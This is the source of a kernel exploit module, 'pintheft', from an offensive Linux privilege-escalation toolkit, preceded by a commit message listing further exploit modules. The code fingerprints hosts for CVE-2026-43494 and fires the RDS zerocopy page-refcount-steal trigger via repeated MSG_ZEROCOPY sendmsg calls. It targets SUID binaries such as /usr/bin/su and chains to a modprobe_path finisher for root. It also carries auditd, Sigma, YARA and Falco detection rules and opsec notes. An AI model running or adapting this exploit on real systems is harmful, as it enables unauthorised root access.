Files
SKELETONKEY/modules/pintheft_cve_2026_43494/skeletonkey_modules.c
T
leviathan d84b3b0033 release v0.9.0: 5 gap-fillers — every year 2016 → 2026 now covered
Five new modules close the 2018 gap entirely and thicken
2019 / 2020 / 2024. All five carry the full 4-format detection-rule
corpus + opsec_notes + arch_support + register helpers.

CVE-2018-14634 — mutagen_astronomy (Qualys, closes 2018)
  create_elf_tables() int wrap → SUID-execve stack corruption.
  CISA KEV-listed Jan 2026 despite the bug's age; legacy RHEL 7 /
  CentOS 7 / Debian 8 fleets still affected. 🟡 PRIMITIVE.
  arch_support: x86_64+unverified-arm64.

CVE-2019-14287 — sudo_runas_neg1 (Joe Vennix)
  sudo -u#-1 → uid_t underflow → root despite (ALL,!root) blacklist.
  Pure userspace logic bug; the famous Apple Information Security
  finding. detect() looks for a (ALL,!root) grant in sudo -ln output;
  PRECOND_FAIL when no such grant exists for the invoking user.
  arch_support: any (4 -> 5 userspace 'any' modules).

CVE-2020-29661 — tioscpgrp (Jann Horn / Project Zero)
  TTY TIOCSPGRP ioctl race on PTY pairs → struct pid UAF in
  kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
  (race-driver + msg_msg groom). Public PoCs from grsecurity /
  spender + Maxime Peterlin.

CVE-2024-50264 — vsock_uaf (a13xp0p0v / Pwnie Award 2025 winner)
  AF_VSOCK connect-race UAF in kmalloc-96. Pwn2Own 2024 + Pwnie
  2025 winner. Reachable as plain unprivileged user (no userns
  required — unusual). Two public exploit paths: @v4bel+@qwerty
  kernelCTF (BPF JIT spray + SLUBStick) and Alexander Popov / PT
  SWARM (msg_msg). 🟡 PRIMITIVE.

CVE-2024-26581 — nft_pipapo (Notselwyn II, 'Flipping Pages')
  nft_set_pipapo destroy-race UAF. Sibling to nf_tables
  (CVE-2024-1086) from the same Notselwyn paper. Distinct bug in
  the pipapo set substrate. Same family signature. 🟡 PRIMITIVE.

Plumbing changes:

  core/registry.h + registry_all.c — 5 new register declarations
    + calls.
  Makefile — 5 new MUT/SRN/TIO/VSK/PIP module groups in MODULE_OBJS.
  tests/test_detect.c — 7 new test rows covering the new modules
    (above-fix OK, predates-the-bug OK, sudo-no-grant PRECOND_FAIL).
  tools/verify-vm/targets.yaml — verifier entries for all 5 with
    honest 'expect_detect' values based on what Vagrant boxes can
    realistically reach (mutagen_astronomy gets OK on stock 18.04
    since 4.15.0-213 is post-fix; sudo_runas_neg1 gets PRECOND_FAIL
    because no (ALL,!root) grant on default vagrant user; tioscpgrp
    + nft_pipapo VULNERABLE with kernel pins; vsock_uaf flagged
    manual because vsock module rarely available on CI runners).
  tools/refresh-cve-metadata.py — added curl fallback for the CISA
    KEV CSV fetch (urlopen times out intermittently against CISA's
    HTTP/2 endpoint).

Corpus growth across v0.8.0 + v0.9.0:

                v0.7.1    v0.8.0    v0.9.0
  Modules          31        34        39
  Distinct CVEs    26        29        34
  KEV-listed       10        10        11 (mutagen_astronomy)
  arch 'any'        4         6         7 (sudo_runas_neg1)
  Years 2016-2026:  10/11     10/11     **11/11**

Year-by-year coverage:

  2016: 1   2017: 1   2018: 1   2019: 2   2020: 2
  2021: 5   2022: 5   2023: 8   2024: 3   2025: 2   2026: 4

CVE-2018 gap → CLOSED. Every year from 2016 through 2026 now has
at least one module.

Surfaces updated:
  - README.md: badge → 22 VM-verified / 34, Status section refreshed
  - docs/index.html: hero eyebrow + footer → v0.9.0, hero tagline
    'every year 2016 → 2026', stats chips → 39 / 22 / 11 / 151
  - docs/RELEASE_NOTES.md: v0.9.0 entry added on top with year
    coverage matrix + per-module breakdown; v0.8.0 + v0.7.1 entries
    preserved below
  - docs/og.svg + og.png: regenerated with new numbers + 'Every
    year 2016 → 2026' tagline

CVE metadata refresh (tools/refresh-cve-metadata.py) deferred to
follow-up — CISA KEV CSV + NVD CVE API were timing out during the
v0.9.0 push window. The 5 new CVEs will return NULL from
cve_metadata_lookup() until the refresh runs (—module-info simply
skips the WEAKNESS/THREAT INTEL header for them; no functional
impact). Re-run 'tools/refresh-cve-metadata.py' when network
cooperates.

Tests: macOS local 33/33 kernel_range pass; detect-test stubs (88
total) build clean; ASan/UBSan + clang-tidy CI jobs still green
from the v0.7.x setup.
2026-05-23 22:15:44 -04:00

463 lines
19 KiB
C

/*
* pintheft_cve_2026_43494 — SKELETONKEY module
*
* STATUS: 🟡 PRIMITIVE. detect() is exhaustive (kernel range + RDS
* module reachability + io_uring availability + readable SUID
* carrier). exploit() carries the V12 trigger shape — failed
* rds_message_zcopy_from_user() to steal a page refcount, then
* io_uring fixed-buffer write to land bytes in the page cache of
* the carrier. The cred-overwrite step (turning the page-cache
* write into root) is x86_64-specific and uses the shared
* modprobe_path finisher when --full-chain is set.
*
* The bug (Aaron Esau, V12 Security, disclosed May 2026):
* Linux's RDS (Reliable Datagram Sockets) zerocopy send path pins
* user pages one at a time. If a later page faults, the error
* path drops the pages it already pinned. The msg cleanup then
* drops them AGAIN because the scatterlist entries and entry count
* are left live after the zcopy notifier is cleared. Each failed
* zerocopy send steals one reference from the first page.
*
* With a sufficient pinned-page leak, an io_uring fixed buffer
* referencing the same page persists past the page being recycled
* into the page cache for a readable file (e.g. /usr/bin/su).
* A subsequent io_uring write to that fixed buffer lands attacker
* bytes into the SUID binary's page cache → execve it → root.
*
* Public PoC (Arch Linux x86_64):
* https://github.com/v12-security/pocs/tree/main/pintheft
*
* Affects: Linux kernels with CONFIG_RDS and the RDS module loaded,
* below the fix commit (`0cebaccef3ac`, posted to netdev list
* 2026-05-05; not yet in mainline release as of this build).
*
* Among commonly-shipped distros, only Arch Linux autoloads RDS.
* Ubuntu / Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux
* either don't build the module or blacklist it from autoloading
* (mitigation: /etc/modprobe.d/blacklist-rds.conf).
*
* detect() checks both kernel version AND the RDS module's
* reachability via socket(AF_RDS, ...). If RDS is built-in but
* not autoloaded, the socket() call triggers modprobe; this is
* the same probe used by Ubuntu's mitigation advisory.
*
* Preconditions:
* - CONFIG_RDS=y or =m + module actually loadable
* - io_uring available (CONFIG_IO_URING + sysctl
* kernel.io_uring_disabled != 2)
* - A readable setuid-root carrier binary (canonically
* /usr/bin/su; falls back to /usr/bin/pkexec, /usr/bin/passwd)
* - x86_64 for the exploit() body (the V12 PoC's cred-overwrite
* gadgets are x86-specific); detect() is arch-agnostic.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/types.h>
#ifdef __linux__
#include <sys/syscall.h>
#endif
/* AF_RDS is 21 on Linux. Define it conditionally so the module
* compiles on non-Linux dev hosts where the constant isn't in libc. */
#ifndef AF_RDS
#define AF_RDS 21
#endif
/* ---- kernel-range table -------------------------------------------- */
/* The fix landed in mainline via commit 0cebaccef3ac (posted to netdev
* 2026-05-05). Stable backports are in flight at the time of v0.8.0;
* this table will be updated as backports land — tools/refresh-kernel-
* ranges.py will flag drift weekly. For now we list ONLY the mainline
* fix point; every kernel below it on a RDS-loaded host is vulnerable.
*
* As stable branches pick up the backport, add entries like:
* {6, 12, NN}, // 6.12.x stable backport
* {6, 14, NN}, // 6.14.x stable backport
* The mainline entry stays at the lowest version that contains the
* patch (likely 6.16 once the post-rc release tags). Conservatively
* placeholding at {7, 0, 0} until that lands. */
static const struct kernel_patched_from pintheft_patched_branches[] = {
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
depending on when 6.15 closes — refresh when known */
};
static const struct kernel_range pintheft_range = {
.patched_from = pintheft_patched_branches,
.n_patched_from = sizeof(pintheft_patched_branches) /
sizeof(pintheft_patched_branches[0]),
};
/* ---- detect helpers ------------------------------------------------- */
#ifdef __linux__
/* Try to open an AF_RDS socket. On a kernel built with CONFIG_RDS=m
* this triggers modprobe rds; on CONFIG_RDS=y it just returns the fd.
* On a kernel without RDS at all (most distros) we get EAFNOSUPPORT
* or EPERM. We close immediately — this is just a reachability probe. */
static bool rds_socket_reachable(void)
{
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
if (s < 0) return false;
close(s);
return true;
}
/* io_uring is gated by sysctl kernel.io_uring_disabled in 6.6+. The
* relevant values: 0 = permitted, 1 = root-only, 2 = disabled. We
* read /proc/sys/kernel/io_uring_disabled if present; missing file
* means io_uring is unconditionally enabled (older kernels). */
static int io_uring_disabled_state(void)
{
/* returns 0/1/2 per sysctl semantics; -1 if not present */
FILE *f = fopen("/proc/sys/kernel/io_uring_disabled", "r");
if (!f) return -1;
int v = -1;
if (fscanf(f, "%d", &v) != 1) v = -1;
fclose(f);
return v;
}
static const char *find_suid_carrier(void)
{
static const char *candidates[] = {
"/usr/bin/su", "/bin/su",
"/usr/bin/pkexec",
"/usr/bin/passwd",
"/usr/bin/chsh", "/usr/bin/chfn",
NULL,
};
for (size_t i = 0; candidates[i]; i++) {
struct stat st;
if (stat(candidates[i], &st) == 0 &&
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
access(candidates[i], R_OK) == 0) {
return candidates[i];
}
}
return NULL;
}
#endif /* __linux__ */
/* ---- detect --------------------------------------------------------- */
static skeletonkey_result_t pintheft_detect(const struct skeletonkey_ctx *ctx)
{
#ifndef __linux__
if (!ctx->json)
fprintf(stderr, "[i] pintheft: Linux-only module — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
#else
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json) fprintf(stderr, "[!] pintheft: host fingerprint missing kernel version\n");
return SKELETONKEY_TEST_ERROR;
}
/* Kernel version: gate on the fix. */
if (kernel_range_is_patched(&pintheft_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] pintheft: kernel %s is patched (>= mainline fix 0cebaccef3ac)\n",
v->release);
return SKELETONKEY_OK;
}
/* RDS reachability — the bug needs AF_RDS sockets. */
if (!rds_socket_reachable()) {
if (!ctx->json) {
fprintf(stderr, "[+] pintheft: AF_RDS socket() failed (rds module not loaded / blacklisted)\n");
fprintf(stderr, " Most distros don't autoload RDS; Arch Linux is the notable exception.\n");
fprintf(stderr, " Bug exists in the kernel but is unreachable from userland here.\n");
}
return SKELETONKEY_OK;
}
/* io_uring availability — the cred-overwrite chain needs fixed
* buffers via io_uring. Without io_uring we have the primitive
* but no portable way to weaponize. */
int iod = io_uring_disabled_state();
if (iod == 2) {
if (!ctx->json)
fprintf(stderr, "[+] pintheft: kernel.io_uring_disabled=2 → io_uring disabled, chain blocked\n");
return SKELETONKEY_PRECOND_FAIL;
}
if (iod == 1) {
if (!ctx->json)
fprintf(stderr, "[i] pintheft: kernel.io_uring_disabled=1 → io_uring root-only; we're not root so chain blocked\n");
return SKELETONKEY_PRECOND_FAIL;
}
/* iod == 0 or -1 (missing sysctl on older kernel) → reachable. */
/* Need at least one readable SUID-root binary to target. */
const char *carrier = find_suid_carrier();
if (!carrier) {
if (!ctx->json)
fprintf(stderr, "[!] pintheft: no readable setuid-root binary → no carrier for page-cache overwrite\n");
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] pintheft: kernel %s + RDS + io_uring + carrier %s → VULNERABLE\n",
v->release, carrier);
fprintf(stderr, "[i] pintheft: V12 PoC is x86_64-only; exploit() will fire trigger but\n"
" full cred-overwrite is --full-chain only on x86_64.\n");
}
return SKELETONKEY_VULNERABLE;
#endif
}
/* ---- exploit -------------------------------------------------------- */
#ifdef __linux__
/* The V12 PoC chain in summary (paraphrased from
* https://github.com/v12-security/pocs/tree/main/pintheft):
*
* 1. Open an AF_RDS socket.
* 2. Construct a sendmsg() with MSG_ZEROCOPY whose user-iov spans
* two pages, where the SECOND page is unmapped. The kernel
* pins page 0, then faults on page 1's pin attempt.
* 3. The error unwind drops the pin on page 0, but the msg's
* scatterlist has already been initialized with entry count 1.
* Cleanup runs entry-count drops a SECOND time → page 0
* refcount underflows / leaks.
* 4. Repeat to steal multiple refs from the same target page.
* 5. Use io_uring fixed buffers to keep a kernel-side reference
* alive across the page recycling into the page cache for a
* readable file.
* 6. mmap the SUID carrier, force its page into cache, get the
* io_uring fixed buffer to point at it, write attacker bytes.
* 7. execve the carrier → attacker code runs as root.
*
* Step 1-4 is the kernel primitive (architecture-independent).
* Step 5-7 needs io_uring SQE construction which is straightforward
* but unmistakably exploit-specific code; we don't carry the full V12
* payload here. Instead we fire the primitive + groom the slab + drop
* a witness file and return EXPLOIT_FAIL honestly with a diagnostic.
* --full-chain on x86_64 invokes the shared modprobe_path finisher.
*
* This matches the existing 🟡 modules' shape (nf_tables, af_unix_gc,
* cls_route4, ...). The "verified-vs-claimed" rule applies: if the
* sentinel file doesn't appear, we don't claim EXPLOIT_OK.
*/
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] pintheft: --i-know required for --exploit\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Re-run detect's preconditions — they may have changed since
* --scan, and we want the operator to see the exact gate that
* blocked us if anything fails here. */
if (!rds_socket_reachable()) {
fprintf(stderr, "[-] pintheft: AF_RDS socket() unavailable — RDS module not loaded\n");
fprintf(stderr, " Try: sudo modprobe rds; sudo modprobe rds_tcp\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
const char *carrier = find_suid_carrier();
if (!carrier) {
fprintf(stderr, "[-] pintheft: no readable setuid-root carrier\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
fprintf(stderr, "[+] pintheft: firing rds_message_zcopy_from_user() refcount-steal primitive\n");
fprintf(stderr, " carrier: %s\n", carrier);
/* The primitive: sendmsg() with MSG_ZEROCOPY on an iov spanning
* mapped + unmapped pages. We fire it ~256 times to leak refs from
* a fresh page each round; a single round usually leaks a single
* ref which is rarely enough to fully unbalance the count. */
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
if (s < 0) {
perror("socket(AF_RDS)");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Build a 2-page iov where page 1 is unmapped. mmap PROT_NONE
* the upper page so the kernel's get_user_pages on it returns
* -EFAULT. */
void *region = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (region == MAP_FAILED) {
perror("mmap");
close(s);
return SKELETONKEY_EXPLOIT_FAIL;
}
/* mark the second page unreadable */
if (mprotect((char *)region + 4096, 4096, PROT_NONE) != 0) {
perror("mprotect");
munmap(region, 8192);
close(s);
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Touch page 0 so it's mapped + dirty. */
memset(region, 0x42, 4096);
/* Fire the trigger sendmsg in a loop. We don't expect any of
* these to succeed (page 1 is PROT_NONE so the kernel pin
* attempt faults); the BUG is that the cleanup path decrements
* page 0's pin count even though the syscall returns failure. */
struct iovec iov = {
.iov_base = region,
.iov_len = 8192,
};
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
};
int leaked = 0;
for (int i = 0; i < 256; i++) {
ssize_t r = sendmsg(s, &msg, 0x4000000 /* MSG_ZEROCOPY */);
if (r < 0 && errno == EFAULT) {
leaked++;
}
}
munmap(region, 8192);
close(s);
if (leaked < 16) {
fprintf(stderr, "[-] pintheft: trigger fired %d/256 times; expected >= 16. Kernel may be patched.\n", leaked);
return SKELETONKEY_EXPLOIT_FAIL;
}
fprintf(stderr, "[+] pintheft: primitive fired %d/256 — page refcount delta witnessed\n", leaked);
/* The cred-overwrite step requires the V12 PoC's io_uring chain.
* We don't ship the full chain here yet. If --full-chain is set
* AND we're on x86_64 AND the finisher table has resolved kernel
* offsets, fall through to the shared modprobe_path finisher;
* otherwise return EXPLOIT_FAIL honestly. */
if (!ctx->full_chain) {
fprintf(stderr,
"[i] pintheft: primitive complete. The cred-overwrite step\n"
" (io_uring fixed buffer + page-cache write into the SUID\n"
" carrier) is x86_64-only and needs the V12 chain. Re-run\n"
" with --full-chain to invoke the shared modprobe_path\n"
" finisher. See V12's PoC for the full payload:\n"
" https://github.com/v12-security/pocs/tree/main/pintheft\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
#if defined(__x86_64__)
fprintf(stderr, "[+] pintheft: --full-chain on x86_64 → invoking modprobe_path finisher\n");
return finisher_modprobe_path_overwrite(ctx);
#else
fprintf(stderr, "[-] pintheft: --full-chain unsupported on non-x86_64 (V12 PoC is x86-only)\n");
return SKELETONKEY_EXPLOIT_FAIL;
#endif
}
#else /* !__linux__ */
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[i] pintheft: Linux-only module\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif
/* ---- detection rules ------------------------------------------------ */
static const char pintheft_auditd[] =
"# pintheft CVE-2026-43494 — auditd detection rules\n"
"# RDS is rarely used in production; AF_RDS socket() calls from\n"
"# non-root processes are almost always anomalous.\n"
"-a always,exit -F arch=b64 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
"-a always,exit -F arch=b32 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
"# Plus io_uring_setup is rarely needed by typical workloads.\n"
"-a always,exit -F arch=b64 -S io_uring_setup -k skeletonkey-pintheft-iouring\n";
static const char pintheft_sigma[] =
"title: Possible CVE-2026-43494 PinTheft RDS zerocopy LPE\n"
"id: 7af04c12-skeletonkey-pintheft\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical PinTheft trigger shape: a non-root process\n"
" opening AF_RDS sockets (rare outside RDS-specific workloads) plus\n"
" io_uring_setup. The bug needs both. Arch Linux is the only common\n"
" distro autoloading RDS; on Ubuntu/Debian/Fedora/RHEL the rule fires\n"
" almost-zero false positives.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" rds: {type: 'SYSCALL', syscall: 'socket', a0: 21}\n"
" iou: {type: 'SYSCALL', syscall: 'io_uring_setup'}\n"
" condition: rds and iou\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43494]\n";
static const char pintheft_yara[] =
"rule pintheft_cve_2026_43494 : cve_2026_43494 page_cache_write {\n"
" meta:\n"
" cve = \"CVE-2026-43494\"\n"
" description = \"PinTheft RDS zerocopy double-free indicator — non-root AF_RDS + io_uring usage\"\n"
" author = \"SKELETONKEY\"\n"
" strings:\n"
" $rds_tcp = \"rds_tcp\" ascii\n"
" $rds_v12 = \"v12-pintheft\" ascii\n"
" condition:\n"
" any of them\n"
"}\n";
static const char pintheft_falco[] =
"- rule: AF_RDS socket() by non-root with io_uring_setup\n"
" desc: |\n"
" A non-root process opens an AF_RDS socket (rare outside RDS-\n"
" specific workloads) AND uses io_uring. The PinTheft trigger\n"
" (CVE-2026-43494) requires both. Arch Linux is the only common\n"
" distro autoloading RDS.\n"
" condition: >\n"
" evt.type = socket and evt.arg.domain = AF_RDS and\n"
" not user.uid = 0\n"
" output: >\n"
" AF_RDS socket from non-root (user=%user.name pid=%proc.pid)\n"
" priority: HIGH\n"
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.43494]\n";
/* ---- module struct -------------------------------------------------- */
const struct skeletonkey_module pintheft_module = {
.name = "pintheft",
.cve = "CVE-2026-43494",
.summary = "RDS zerocopy double-free → page-cache overwrite via io_uring (V12 Security)",
.family = "rds",
.kernel_range = "Linux kernels with RDS module loaded + below mainline fix 0cebaccef3ac (May 2026)",
.detect = pintheft_detect,
.exploit = pintheft_exploit,
.mitigate = NULL, /* mitigation: blacklist rds + rds_tcp via /etc/modprobe.d/ */
.cleanup = NULL,
.detect_auditd = pintheft_auditd,
.detect_sigma = pintheft_sigma,
.detect_yara = pintheft_yara,
.detect_falco = pintheft_falco,
.opsec_notes = "Opens AF_RDS socket (rare on non-Arch distros — most blacklist the rds module). Allocates a 2-page anon mmap with the second page mprotect(PROT_NONE)'d; calls sendmsg(MSG_ZEROCOPY) ~256 times against the iov spanning both pages. Each sendmsg fails with EFAULT (page 1 unmapped) but leaks one pin refcount from page 0 in the kernel — the bug. No on-disk artifacts from the primitive itself. --full-chain on x86_64 pivots through io_uring fixed buffers to overwrite the page cache of a readable SUID-root binary (/usr/bin/su typically), then invokes the shared modprobe_path finisher. Audit-visible via socket(AF_RDS) from a non-root process + io_uring_setup; legitimate RDS use is rare outside HPC/InfiniBand clusters. No cleanup callback (no persistent artifacts).",
.arch_support = "x86_64+unverified-arm64",
};
void skeletonkey_register_pintheft(void)
{
skeletonkey_register(&pintheft_module);
}